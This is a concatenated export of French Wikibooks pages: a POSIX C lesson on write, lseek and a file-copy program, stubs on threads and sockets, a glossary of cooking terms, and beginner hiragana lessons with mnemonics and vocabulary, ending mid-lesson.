Écriture == <pre> #include <unistd.h> ssize_t write (int fd, const void * buffer, size_t nombre); </pre> L'appel système ''write'' écrit au plus ''nombre'' octets dans le descripteur de fichier ouvert ''fd''. Le nombre d'octets réellement écrit est renvoyé si l'appel réussit, sinon ''write'' renvoie -1. Lorsqu'un appel à ''read'' est effectué après un appel à ''write'', les données venant d'être écrites sont renvoyées. === Exemple lecture/écriture === Le programme suivant utilise tout ce que l'on a vu précédement pour réaliser un programme permettant de copier un fichier (tel l'utilitaire Unix <code>cp</code>). Le programme prend deux arguments : le fichier source et le fichier destination et recopie le premier dans le second en utilisant les fonctions ''read'', ''write'' et un buffer de 100 octets (en fait de 100 caractères, en supposant que le type caractère correspond bien à un octet). <pre> #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> int main(int argc, char ** argv) { int source, destination; char buffer[100]; int nb; /* test des arguments du programme */ if (argc < 3) { fprintf(stderr, "usage: %s source destination\n", argv[0]); exit(EXIT_FAILURE); } /* Ouverture du fichier source en lecture seule */ source = open(argv[1], O_RDONLY); if (source == -1) { perror("open fichier source"); exit(EXIT_FAILURE); } /* Ouverture du fichier destination en écriture (O_WRONLY) si le fichier n'existe pas, on le créé (O_CREAT), s'il existe, on le vide (O_TRUNC). */ destination = open(argv[2], O_WRONLY | O_CREAT | O_TRUNC, 0644); if (destination == -1) { perror("open fichier destination"); exit(EXIT_FAILURE); } /* Maintenant que nous avons nos deux fichiers ouverts, nous effectuons la copie par bloc de 100 octets que nous plaçons dans le buffer. Lorsque nous ne pouvons plus lire, read renvoie 0 et nous sortons de la boucle. */ nb = read(source, buffer, 100); while (nb > 0) { write(destination, buffer, nb); nb = read(source, buffer, 100); } /* Fermeture des fichiers et fin du programe */ close(source); close(destination); return 0; } </pre> == Déplacement == <pre> #include <sys/types.h> #include <unistd.h> off_t lseek (int fd, off_t quantité, int départ); </pre> L'appel système ''lseek'' permet de modifier la position courante dans un fichier en la déplacant d'une certaine ''quantité'' à partir d'un point de ''départ''. Ce point de départ peut être : * '''SEEK_SET''', le déplacement est effectué à partir du début du fichier ; * '''SEEK_CUR''', le déplacement est effectué à partir de la position courante ; * '''SEEK_END''', le déplacement est effectué à partir de la fin du fichier. En particulier <code>lseek(fd, 0, SEEK_SET)</code> permet de se positionner au début du fichier et <code>lseek(fd, 0, SEEK_END)</code> à la fin. La valeur renvoyé par ''lseek'' est le déplacement réellement effectué en nombre d'octets (ainsi en se positionnant au début puis à la fin du fichier, il est possible de calculer la taille de ce fichier). Modèle:Programmation POSIX 3278 14802 2005-04-27T16:00:43Z Guillaumito 46 + index <center> {| style="border:1px #808000 solid;background:#FFFF80;width:400px;" | [[Programmation POSIX]] |- | '''P<small>ROCESSUS</small>''' - [[Programmation POSIX:Processus|Processus]] - [[Programmation POSIX:Processus légers|Processus légers]] - [[Programmation POSIX:Signaux|Signaux]] - '''F<small>ICHIERS</small>''' - [[Programmation POSIX:Fichiers|Contenu]] - [[Programmation POSIX:Fichiers II|Verrous]] - [[Programmation POSIX:Fichiers III|Tubes]] - [[Programmation POSIX:Fichiers IV|Manipulation]] - [[Programmation POSIX:Répertoires|Répertoires]] - '''A<small>NNEXES</small>''' - [[Programmation POSIX:Index|Index]] |- | style="text-align:right;font-size:x-small;" | [{{SERVER}}{{localurl:Modèle:Programmation POSIX|action=edit}} Modifier le modèle] |} </center> Programmation POSIX:Processus légers 3280 14803 2005-04-20T13:29:37Z Guillaumito 46 {{Programmation POSIX}} {{Programmation POSIX}} == Introduction == <pre> #include <pthread.h> </pre> == Création == <pre> int pthread_create(pthread_t * thread, pthread_attr_t * attr, void * (*fonction_appelee)(void *), void * arg); </pre> La fonction ''pthread_create'' créée un nouveau thread qui exécute la fonction ''fonction_appelee'' en lui passant ''arg'' comme argument. La fonction renvoie 0 en cas de réussite et une valeur différente de 0 sinon. Cuisine:Techniques culinaires 3281 41014 2006-04-27T13:08:45Z 138.231.136.10 {{Livre de cuisine}} Les '''techniques culinaires''' décrivent des techniques employées en [[cuisine]], lors de la préparation des [[aliment]]s ou de leur [[cuisson]]. La plupart de ces techniques sont décrites par un verbe, parfois, par son substantif. La liste suivante donne une définition de quelques-uns de ces termes (les substantifs sont donnés entre parenthèses) : * ''abaisser'' : étendre de la pâte au moyen d'un rouleau à pâtisserie. * ''appareil'' : mélange de plusieurs substances servant à la préparation d'un mets. * ''barder'' : entourer d'une mince tranche de lard une viande, une volaille, pour l'empêcher de se dessécher à la cuisson. * ''beurre manié'' : mélange de beurre et de farine (parts égales) ajouté à un liquide pour le lier. * ''beurre clarifié'' : voir [[:w:ghî]] * ''blanchir'' (''blanchissement'') : plonger une viande ou des légumes dans de l'eau bouillante salée pour les attendrir, avant de les cuisiner autrement. * ''blondir'' : ajouter un oignon, de la farine à un corps gras chaud, jusqu'à coloration dorée. * ''bouillon'' : liquide de cuisson des viandes ou des légumes. * ''bouquet garni'' : plantes armomatiques attachées : persil, poireau, carotte, oignon piqué d'un clou de girofle et d'une feuille de laurier. * ''braiser'' : faire cuire doucement une viande dans un récipient fermé avec du jus comme liquide. * ''brider'' : ficeler une volaille pour empêcher sa déformation pendant la cuisson. * ''caramel'' : sucre fondu sur le feu jusqu'à coloration brun clair. * ''chapelure'' ou ''panure'' : pain seché au four et écrasé. * ''chemiser'' : mettre du papier blanc dans un moule beurré, par exemple avant de faire un quatre-quarts. * ''ciseler'' : couper un aliment en lamelles très fines (par exemple le persil), ou à inciser en biais une pièce qui ne doit pas se déchirer pendant la cuisson. * ''cuire au bain-marie'' : consiste à faire cuire ou chauffer une préparation à la température de l'eau bouillante. Pour cela le produit est placé dans une première petite casserole, à sont tour placée dans une deuxième casserole, remplie d'eau. La chaleur de l'eau est transmise à la première casserole, la température de cette casserole ne peut pas dépasser la température de l'eau bouillante. * ''décanter'' : transvaser délicatement un liquide après que les particules en suspension qu'il contenait se sont déposées au fond du récipient, de façon à laisser ce dépôt dans le récipient (par exemple un vin). * ''déglacer'' : verser un liquide dans la poêle après la cuisson d'une viande ou d'un poisson, afin d'en extraire les sucs de cuisson. Il faut alors frotter la poêle à l'aide d'une spatule pour décrocher les sucs et les mélanger au liquide. L'objectif est la plupart du temps de constituer une sauce. On peut déglacer avec de l'eau, mais aussi du vinaigre, de la crème fraiche, ou encore du vin (blanc ou rouge). * ''échauder'' : arroser (ou faire tremper) un aliment dans de l'eau bouillante pour l'éplucher plus facilement (par exemple, pour ôter la peau de la tomate ou de l'amande (cf. ''monder''). * ''flamber'' : ce terme recouvre deux notions distinctes : ** légèrement passer à la flamme une volaille plumée pour enlever son duvet et ses plumes résiduelles ** arroser d'alcool fort une préparation et enflammer cet alcool * ''farcir'' : remplir de farce. * ''foncer'' : garnir de pâte un moule, une plaque à gâteau. * ''fontaine'' (faire la) : disposer la farine en couronne. * ''frémir'' : maintenir un liquide très chaud en évitant l'ébullition. * ''infuser'' (''infusion'' ou ''décoction'') : faire bouillir un aliment dans un liquide pour en extraire les principes solubles. * ''larder'' : entourer une pièce alimentaire (un morceau de viande par exemple) de bandes de lard avant la cuisson. * ''macérer'' : laisser séjourner dans un liquide des fruits, des légumes ou de la viande. * ''mariner'' : tremper la viande pendant quelques jours dans un liquide aromatisé (generalement à base de vin) appelé marinade. * ''mijoter'' : cuire lentement, à petit feu. * ''monder'' : débarrasser les amandes, les noisettes ou les tomates de leur pelure. * ''mouiller'' : ajouter du liquide (comme de l'eau, du lait ou du bouillon) dans une sauce. * ''napper'' : recouvrir de sauce ou de crème. * ''paner'' : couvrir de panure ou de chapelure. * ''parer'' : enlever d'un aliment comestible ce qui est inutile (tel que le gras en excès). * ''pocher'' : faire bouillir quelques minutes un aliment (par exemple, un œuf). * ''réserver'' : retirer un aliment du feu et le conserver chaud pendant que l'on prépare le reste du plat. On peut réserver dans un plat chaud, sous un couvercle, ou emballé dans du papier alluminium. * ''rissoler'' : Faire dorer une viande ou un légume dans un corps gras très chaud. * ''roux'' : Un roux est un mélange en quantité équivalente de farine et de beurre, chauffé pour obtenir la coloration voulue (roux blanc, roux, brun) * ''vanner'' : agiter la casserole où se trouve une sauce en train de refroidir. L'objectif est d'éviter la formation d'une peau. <br /> {{Cuisine}} Modèle:Programmation Linux 3282 14805 2005-04-20T16:14:59Z Guillaumito 46 <center> {| style="border:1px #000080 solid;background:#8080FF;" | [[Programmation Linux]] |- | [[Programmation Linux:Sockets|Sockets]] - [[Programmation Linux:IPC|IPC]] - [[Programmation Linux:Ioctl|Ioctl]] |- | style="text-align:right;font-size:x-small;" | [{{SERVER}}{{localurl:Modèle:Programmation Linux|action=edit}} Modifier le modèle] |} </center> Programmation Linux 3283 14806 2005-04-20T16:29:15Z Guillaumito 46 {{Programmation}} {{Programmation Linux}} == Introduction == Le but de ce livre est de couvrir toutes les bibliothèques de fonctions [[w:fr:C (langage)|C]] fournie par [[w:fr:Linux|Linux]] ne faisant pas partie ni de la [[Programmation C Bibliothèque standard|bibliothèque standard]] ni de la norme [[Programmation POSIX|POSIX]]. {{Programmation}} Programmation Linux:Sockets 3284 14807 2005-04-20T16:53:28Z Guillaumito 46 ajouts {{Programmation Linux}} == Introduction == <pre> #include <sys/types.h> #include <sys/socket.h> </pre> == Création == <pre> int socket (int domaine, int type, int protocole); </pre> == Nommage == <pre> int bind (int desc_sock, struct sockaddr * adresse, socklen_t longueur); </pre> Modèle:Fondements des mathématiques 3285 14808 2005-04-20T17:49:51Z Guillaumito 46 Tentative de mise en forme de [[Fondements des mathématiques]] {| style="float:right;border:1px solid #FF7777;background:#FFBBBB;width:250px;" cellspacing="0" cellpadding="5" | style="background:#FF7777;" | [[Fondements des mathématiques]] |- | * [[Fondements des mathématiques:Chapitre1|Que sont les mathématiques ?]] * [[Fondements des mathématiques:Chapitre2|La logique]] * [[Fondements des mathématiques:Chapitre 3|Les expressions formelles, les ensembles et les fonctions]] * [[Fondements des mathématiques:Chapitre 4|L'incomplétude mathématique]] * [[Fondements des mathématiques:Chapitre 5|Les axiomes des théories des ensembles]] * [[Fondements des mathématiques:Chapitre 6|Des preuves de cohérence]] |- | style="text-align:right;font-size:x-small;background:#FF7777;" | [{{SERVER}}{{localurl:Modèle:Fondements des mathématiques|action=edit}} Modifier le modèle] |} Leçon Hiragana 3 3286 44570 2006-06-15T06:28:21Z 86.199.66.11 /* Refaire le tableau */ [[Leçon Hiragana 2|<< Leçon 2]]|[[Japonais:Table des matières|^ Japonais ^]]|[[Leçon Hiragana 4|Leçon 4 >>]] = Leçon n°3 : La fin d'une époque = {| border="1" cellspacing="0" cellpadding="6" style="background:#FFFFE0;" style="text-align: center;" ! width="25" | &nbsp; ! width="25" | a ! width="25" | i ! width="25" | u ! width="25" | e ! width="25" | o |- | &nbsp; | <big>あ</big> | <big>い</big> | <big>う</big> | <big>え</big> | <big>お</big> |- ! k | <big>か</big> | <big>き</big> | <big>く</big> | <big>け</big> | <big>こ</big> |- ! s | <big>さ</big> | <big>し</big> | <big>す</big> | <big>せ</big> | <big>そ</big> |- ! T | <big>た<big> | <big>ち<big> | <big>つ<big> | <big>て<big> | <big>と<big> |- ! N | <big>な<big> | <big>に<big> | <big>ぬ<big> | <big>ね<big> | <big>の<big> |- ! H | <big>は<big> | <big>ひ<big> | <big>ふ<big> | <big>へ<big> | <big>ほ<big> |- ! M | <big>ま<big> | <big>み<big> | <big>む<big> | <big>め<big> | <big>も<big> |- ! Y | <big>や<big> | | <big>ゆ<big> | | <big>よ<big> |- ! R/L | <big>ら<big> | <big>り<big> | <big>る<big> | <big>れ<big> | <big>ろ<big> |- ! W | <big>わ<big> | | <big>ん<big> | |<big>を<big> |} Résumé de l'épisode précédent : Votre sagacité est sans égale , et votre QI impressionnant, Vous avez déduit que après la leçon 2 , il faut passer à la leçon 3. A l'assaut .. (donjon de naheulbeuk ..) == ま(Ma) み(Mi) む(Mu) め(Me) も(mo)== [[Image:Japanese hiragana ma mincho.png|100 px|left|ま, MA]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese_Hiragana_MA.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Ma</big> Comme '''ma'''t de bateau.. |- valign="top" ! bgcolor="#CCCCFF" | Mémorisation: | '''ma'''t : c'est un mât de bateau |} [[Image:Japanese hiragana mi mincho.png|100 px|left|み, MI]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese_Hiragana_MI.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Mi</big> Comme '''Mi'''kado |- valign="top" ! bgcolor="#CCCCFF" | Mémorisation: | '''Mi'''kado - Vous avez probablement jouer au jeux du Mikado quand vous étiez jeune, il s'agit d'un jeux ou il faut retirer les baguettes emmêlées |} [[Image:Japanese hiragana mu mincho.png|100 px|left|む, MU]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese_Hiragana_MU.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Mu</big> comme Zé'''mu'''s le clown |- valign="top" ! bgcolor="#CCCCFF" | Mémorisation: |Zé'''mu'''s le clown. alors c'est un clown qui un cheveux sur la langue il rentre sur la scène et il dit "Bonjour, je suis ému." et tout le monde lui répond bonjour Zémus !!!, la boucle fait le nez , les deux petit trait les yeux... |} [[Image:Japanese hiragana me mincho.png|100 px|left|め, ME]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese_Hiragana_ME.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Me</big> comme '''Me''' |- valign="top" ! bgcolor="#CCCCFF" | Mémorisation: |'''Me'''- Bon je vais vous apprendre un mot de japonais, '''Me''' signifie "l'oeil" , et grossomodo c'est le dessin d'un oeil. |} [[Image:Japanese hiragana mo mincho.png|100 px|left|も, MO]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese_Hiragana_MO.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Mo</big> comme Ha'''mo'''çon |- valign="top" ! bgcolor="#CCCCFF" | Mémorisation: |Ha'''mo'''çon - bon je sais c'est une faute d'orthographe... mais cela resemble à une hameçon avec le vers dessus... Vous n'aimez pas la pêche ? ... pff.. vous êtes crevant .. |} On continue dans la joie et la bonne humeur.. == や(Ya) ゆ(Yu) よ(Yo)== [[Image:や_教科書体.png|100 px|left|や, YA]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese_Hiragana_YA.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Ya</big> comme '''Y'''ak |- valign="top" ! bgcolor="#CCCCFF" | Mémorisation: | '''Ya'''k c'est la tête avec les deux cornes. |} [[Image:ゆ_教科書体.png|100 px|left|ゆ, YU]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese_Hiragana_YU.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Yu</big> |- valign="top" ! bgcolor="#CCCCFF" | Mémorisation: | On reste dans l'animalier , cela fait un peu poisson... quel rapport avec Yu ? Je sais pas encore |} [[Image:よ_教科書体.png|100 px|left|よ, YO]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese_Hiragana_YO.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Yo</big> comme '''Yo'''-yo |- valign="top" ! bgcolor="#CCCCFF" | Mémorisation: | '''Yo'''-yo la corde , la boucle .. |} Yi et Ye n'existent plus .. ils ont existé .. d'ailleurs un exemple ultra-connus est Yen (comment on fait yen sur un clavier francais ?). Saviez-vous que les japonais ne disent pas Yen mais Hen ? == ら(Ra) り(Ri) る(Ru) れ(Re) ろ(Ro)== Le Ra/La la seule syllabe que l'on n'a pas... mélange subtil en L et R (cela commence comme l et ça se finit en r) [[Image:ら_教科書体.png|100 px|left|ら, RA]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese_Hiragana_RA.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Ra</big> comme '''la'''pin |- valign="top" ! bgcolor="#CCCCFF" | Mémorisation: | '''la'''pin , le petit trait est l'oreille et la boucle la cuisse du lapin |} [[Image:り_教科書体.png|100 px|left|り, RI]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese_Hiragana_RI.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Ri</big> |- valign="top" ! bgcolor="#CCCCFF" | Mémorisation: | |} [[Image:る_教科書体.png|100 px|left|る, RU]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese_Hiragana_RU.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Ru</big> comme '''Roue''' |- valign="top" ! bgcolor="#CCCCFF" | Mémorisation: | '''Roue''' - On constatera la petite boucle en bas , ce qui fait Roue |} [[Image:れ_教科書体.png|100 px|left|れ, RE]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese_Hiragana_RE.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Re</big> |- valign="top" ! bgcolor="#CCCCFF" | Mémorisation: | |} [[Image:ろ_教科書体.png|100 px|left|ろ, RO]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese_Hiragana_RO.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Ro</big> '''Ro''' comme T'''ro'''is |- valign="top" ! bgcolor="#CCCCFF" | Mémorisation: | T'''ro'''is - je vous fais un dessin ? |} La dernière lignes est un peu le fourre-tout , qu'on ne peut pas mettre ailleurs... == わ(Wa) を(Wo) ん(N) == [[Image:わ_教科書体.png|100 px|left|わ, WA]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese_Hiragana_WA.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Wa</big> |- valign="top" ! bgcolor="#CCCCFF" | Mémorisation: | |} [[Image:ん_教科書体.png|100 px|left|ん, N]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese_Hiragana_N.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">-n</big> |- valign="top" ! bgcolor="#CCCCFF" | Mémorisation: | |} [[Image:を_教科書体.png|100 px|left|を, WO]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese_Hiragana_WO.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Wo </big>ou<big style="font-size: 150%;">O </big> |- valign="top" ! bgcolor="#CCCCFF" | Mémorisation: | seulement comme particule, je prononce O |} [[Image:ゐ_教科書体.png|100 px|left|ゐ, WI]] [[Image:ゑ_教科書体.png|100 px|left|ゑ, WE]]<br /><br /><font size="+15" color="blue">ゐ</font>(Wi) et <font size="+15" color="blue">ゑ</font>(We) .. ont disparus aussi je vous passe quand même les hiraganas pour la culture ..<br /><br /><br /> {| border="1" cellspacing="0" cellpadding="6" style="background:#FFFFE0;" style="text-align: center;" ! width="25" | &nbsp; ! width="25" | a ! width="25" | i ! width="25" | u ! width="25" | e ! width="25" | o |- | &nbsp; | <big>あ</big> | <big>い</big> | <big>う</big> | <big>え</big> | <big>お</big> |- ! k | <big>か</big> | <big>き</big> | <big>く</big> | <big>け</big> | <big>こ</big> |- ! s | <big>さ</big> | <big>し</big> | <big>す</big> | <big>せ</big> | <big>そ</big> |- ! T | <big>た<big> | <big>ち<big> | <big>つ<big> | <big>て<big> | <big>と<big> |- ! N | <big>な<big> | <big>に<big> | <big>ぬ<big> | <big>ね<big> | <big>の<big> |- ! H | <big>は<big> | <big>ひ<big> | <big>ふ<big> | <big>へ<big> | <big>ほ<big> |- ! M | <big>ま<big> | <big>み<big> | <big>む<big> | <big>め<big> | <big>も<big> |- ! Y | <big>や<big> | | <big>ゆ<big> | | <big>よ<big> |- ! R/L | <big>ら<big> | <big>り<big> | <big>る<big> | <big>れ<big> | <big>ろ<big> |- ! W | <big>わ<big> | <font color="red">ゐ | <big>ん<big> | <font color="red">ゑ | <big>を<big> |} ==Refaire le tableau== Je avais donnée l'astuce pour mémoriser l'ordre des Voyelles * '''Ka'''r '''ki'''ki ne '''Kou'''che '''Ke''' avec son '''Ko'''chon (si vous trouvez mieux je veux bien ..) je vais vous donner l'astuce pour vous souvenir de l'ordre des lignes, cela est vital car le dictionnaire japonais est organisé dans cet ordre A->O->Ka->Ko->Sa->So .. * '''K'''ana '''S'''ymbols '''T'''hink '''N'''ow '''H'''ow '''M'''uch '''Y'''ou '''R'''ead and '''W'''rite them encore plus fort : sur l'air de "Frère Jacques"... {| style="border:1px black solid; margin=5px 5px 1em 1em;width:300px;" cellspacing="0" cellpadding="5" align="middle" | style="text-align:center;" | [[Image:Gnome-speakernotes.png]] <Big>frère Japonais</big><br />''sur l'air de frère jacques ..''<br />'''A-KA-SA-TA'''<br />'''NA-HA-MA-YA'''<br />'''RA-WA-N''' ''(2x)''<br />'''je connais mes Kana !''' ''(x2)''<br />'''Ding, ding, dong !''' (x2) |} Et hop A,KA,SA,TA,NA,HA,MA,YA,RA,WA .. Voila , les hiraganas c'est quasiment finis (mais vous savez que contrairement à "Star Wars" ce n'est pas une trilogie mais une histoire en 9 épisodes) = Vocabulaire Illustré = うまcheval め oeil みみ oreille くも nuage むし insecte やま montage ゆき neige よる nuit さくらceriser はかり balance さる singe きれ tissu しろ chateau かわ riviere せんす eventail きんこ coffre = Vocabulaire en plus = あたま : tête うみ : océan あめ : pluie かいもの : acheter ゆめ : Rêve まくら : oreiller おつり : changer こころ : Cœur わたし : je にわ : rivière らいねん : l'année prochaine ほんや : librairie == à ne pas confondre == Pas mal de Hiragana se ressemblent, Si vous vous trompez .. vous allez rien comprendre. Par exemple : === くKu et へHe === くへ(杭) pieu くい(塀) Mur === さSa et Chiち === si vous vous souvenez du moyen mnémotechnique (Chi=5) === りri et いi === くり (栗) Marrons くい (杭) pieu === こKo et にNi === こい (鯉) Carpe にい (二位) second === きKi et さSa === た et な かた(肩) épaule かな(仮名)Kana === はHa et ほHo === はし(橋)Pont ほし(星) Etoile === まMa et もMo === まり(毬) Balle もり(森) Forêt === まMa et よYo === === るRu et ろRo === くる(来る) Venir くろ (黒) Noir === あA, めMe et ぬNu === あし(足) pied めし(飯) riz cuisiné === ねNe, ぬNu, わWa et れRe === かね(金): Métal かわ (川) : Rivière かれ(彼) : IL [[Catégorie:Hiragana (Japonais)]] Test Hiragana 3287 14810 2005-04-27T04:14:11Z Genepi2 249 Ajout categorie Retranscrire en phonétique .. いろはにほへと ちりぬるを わかよたれそ つねならむ うゐのおくやま けふこえて あさきゆめみし ゑひもせすん le corrigé est ici [[w:fr:Iroha|Iroha]] [[Catégorie:Hiragana (Japonais)]] Leçon Hiragana 4 3288 19019 2005-08-12T22:39:18Z Alpus Hadrianus Valens 467 precisions dakuten [[Leçon Hiragana 3|<< Leçon 3]]|[[Japonais:Table des matières|^ Japonais ^]]|[[Leçon Hiragana 5|Leçon 5 >>]] = le signe de voisement (en japonais ''dakuten '') = == résumé des épisodes précédents == Mince , je vous avais dit que les hiraganas étaient finis .. mais j'avais prévenu qu'il y avait une saison 2 .. En fait on reprend la ligne 2 et 3 ( Ka et Sa), sauf que l'on ajoute en haut a droite des lettres un signe diacritique(appele dakuten ou nigori en japonais) se presentant sous la forme de deux petits traits " :celui-ci sert a noter la serie sonore correspondant a la serie sourde indiquee par les caracteres syllabiques simples. Alors Ka,Ki,Ku,Ke,Ko deviennent Ga,Gi,Gu,Ge,Go .. et Sa,Shi,Su,Se,SO deviennent Za,Ji,Zu,Ze,Zo .. == Tableau récapitulatif == {| style="background:#FFFFE0;" cellspacing="5"; ! !! あ<br />A!! い<br />I!! う<br />U!! え<br />E!! お<br />O |- ! k=g | '''が'''<br />ga||'''ぎ'''<br />gi|| '''ぐ'''<br />gu|| '''げ'''<br />ge|| '''ご'''<br />go |- ! s=z | '''ざ'''<br />za||'''じ'''<br />ji||'''ず'''<br />Zu||'''ぜ'''<br />Ze)||'''ぞ'''<br />Zo |- |} Pas grand chose à dire .. le shi devient Ji mais se prononce Dji comme '''Dji'''bouti . Voila la lecon 4 est terminée .. tout le monde suit. == écriture == == が(Ga) ぎ(Gi) ぐ(Gu) げ(Ge) ご(Go) == [[Image:か_教科書体.png|100 px|left|か, KA]][[Image:が_教科書体.png|100 px|left|が, GA]] <br /><br /><font size="+15" color="blue">か et が</font>'''Ka''' et '''Ga''' <br /><br /><br /> [[Image:き_教科書体.png|100 px|left|き, KI]][[Image:ぎ_教科書体.png|100 px|left|ぎ, GI]] <br /><br /><font size="+15" color="blue">き et ぎ</font>'''Ki''' et '''Gi'''<br /><br /><br /> [[Image:く_教科書体.png|100 px|left|く, KU]][[Image:ぐ_教科書体.png|100 px|left|ぐ, GU]] <br /><br /><font size="+15" color="blue">く et ぐ</font>'''Ku''' et '''Gu'''<br /><br /><br /> [[Image:け_教科書体.png|100 px|left|け, KE]][[Image:げ_教科書体.png|100 px|left|げ, GE]] <br /><br /><font size="+15" color="blue">け et げ</font>'''Ke''' et '''Ge'''<br /><br /><br /> [[Image:こ_教科書体.png|100 px|left|こ, KO]][[Image:ご_教科書体.png|100 px|left|ご, GO]] <br /><br /><font size="+15" color="blue">こ et ご</font>'''Ko''' et '''Go'''<br /><br /><br /> Les ka sont faits. == ざ(Za) じ(Ji) ず(Zu) ぜ(Ze) ぞ(Zo) == [[Image:さ_教科書体.png|100 px|left|さ, SA]][[Image:ざ_教科書体.png|100 px|left|ざ, ZA]] <br /><br /><font size="+15" color="blue">さ et ざ</font>'''Sa''' et '''Za'''<br /><br /><br /> [[Image:し_教科書体.png|100 px|left|し, SHI]][[Image:じ_教科書体.png|100 px|left|じ, JI]] <br /><br /><font size="+15" color="blue">し et じ</font>し '''Shi''' et '''Ji'''Pas d’idée /!\ Attention, il se prononce shi, comme su''shi'' et non ''si'' <br /><br /><br /> [[Image:す_教科書体.png|100 px|left|す, SU]][[Image:ず_教科書体.png|100 px|left|ず, ZU]] <br /><br /><font size="+15" color="blue">す et ず</font>す '''Su''' et '''Zu'''<br /><br /><br /> [[Image:せ_教科書体.png|100 px|left|せ, SE]][[Image:ぜ_教科書体.png|100 px|left|ぜ, ZE]] <br /><br /><font size="+15" color="blue">せ et ぜ</font> '''Se''' et '''Ze'''<br /><br /><br /> [[Image:そ_教科書体.png|100 px|left|そ, SO]][[Image:ぞ_教科書体.png|100 px|left|ぞ, ZO]] <br /><br /><font size="+15" color="blue">そ et ぞ</font> '''So''' et '''Zo'''<br /><br /><br /> == Vocabulaire Illustrés == がか : peintre めがね : lunettes ぎんか : argent かぎ : clé ぐんじん : policier かぐ : meuble げた : sandale わなげ : quille ごばん : repas りんご : pomme はいざら : cendrier ふじさん : Mont Fuji ちず : carte かぜ : vent すいぞくかん : aquarium == Vocabulaire en plus == がいごくじん : étranger かがく : chimie ぎんこう : banque みぎ : droite めぐすり : collyre げんいん : cause ひげ : moustache ごご : l'après-midi かざん : volcan みず : eau ごぜん : A.M (morning = matin...) かぞく : famille [[Catégorie:Hiragana (Japonais)]] Leçon Hiragana 5 3289 42561 2006-05-16T22:18:56Z Abrahami 1536 next [[Leçon Hiragana 4|<< Leçon 4]]|[[Japonais:Table des matières|^ Japonais ^]]|[[Leçon Hiragana 6|Leçon 6 >>]] = Les deux petits traits = == Résume des épisodes précédents == Pour la lecon 4 , vous avez rencontré votre nouveau signe le "guillemet" , vous vous demandez si ça marche avec d'autres syllabes... la réponse est oui ... car je vais aussi introduire un nouveau signe "la bulle" ... En fait on reprend les lignes 4 et 6 (Na et Ha) sauf que l'on ajoute des guillemets " à côté. Alors la prononciation change à nouveau Ta,Tchi,Tsu,Te,To deviennent Da,Ji,Zu,De,Do .. et Ha,Hi,Fu,He,HO deviennent Ba,Bi,Bu,Be,Bo .. Maintenant si vous rajoutez une bulle ° (grossomodo le symbole degré) à la ligne 6 (Ha, Hi,Fu,He,Ho), alors Ha, Hi,Fu,He,Ho deviennent Pa,Pi,Pu,Pe,Po. == Noms en japonais == de [[w:fr:Diacritiques des syllabaires japonais|Diacritiques des syllabaires japonais]] * Le premier (゛) est un signe, composés deux petits traits, qui permet de vocaliser les sons, et qui a plusieurs dénominations : ** ''dakuten'' (濁点, « point sonore »), ** ''nigori'' (濁り), par abréviation de ''nigoriten'' (濁り点), ** et plus familièrement ''ten-ten'' (点点 ou 点々, « point point ») ; * Le second (゜) est un petit rond, qui permet de transformer ''h'' en 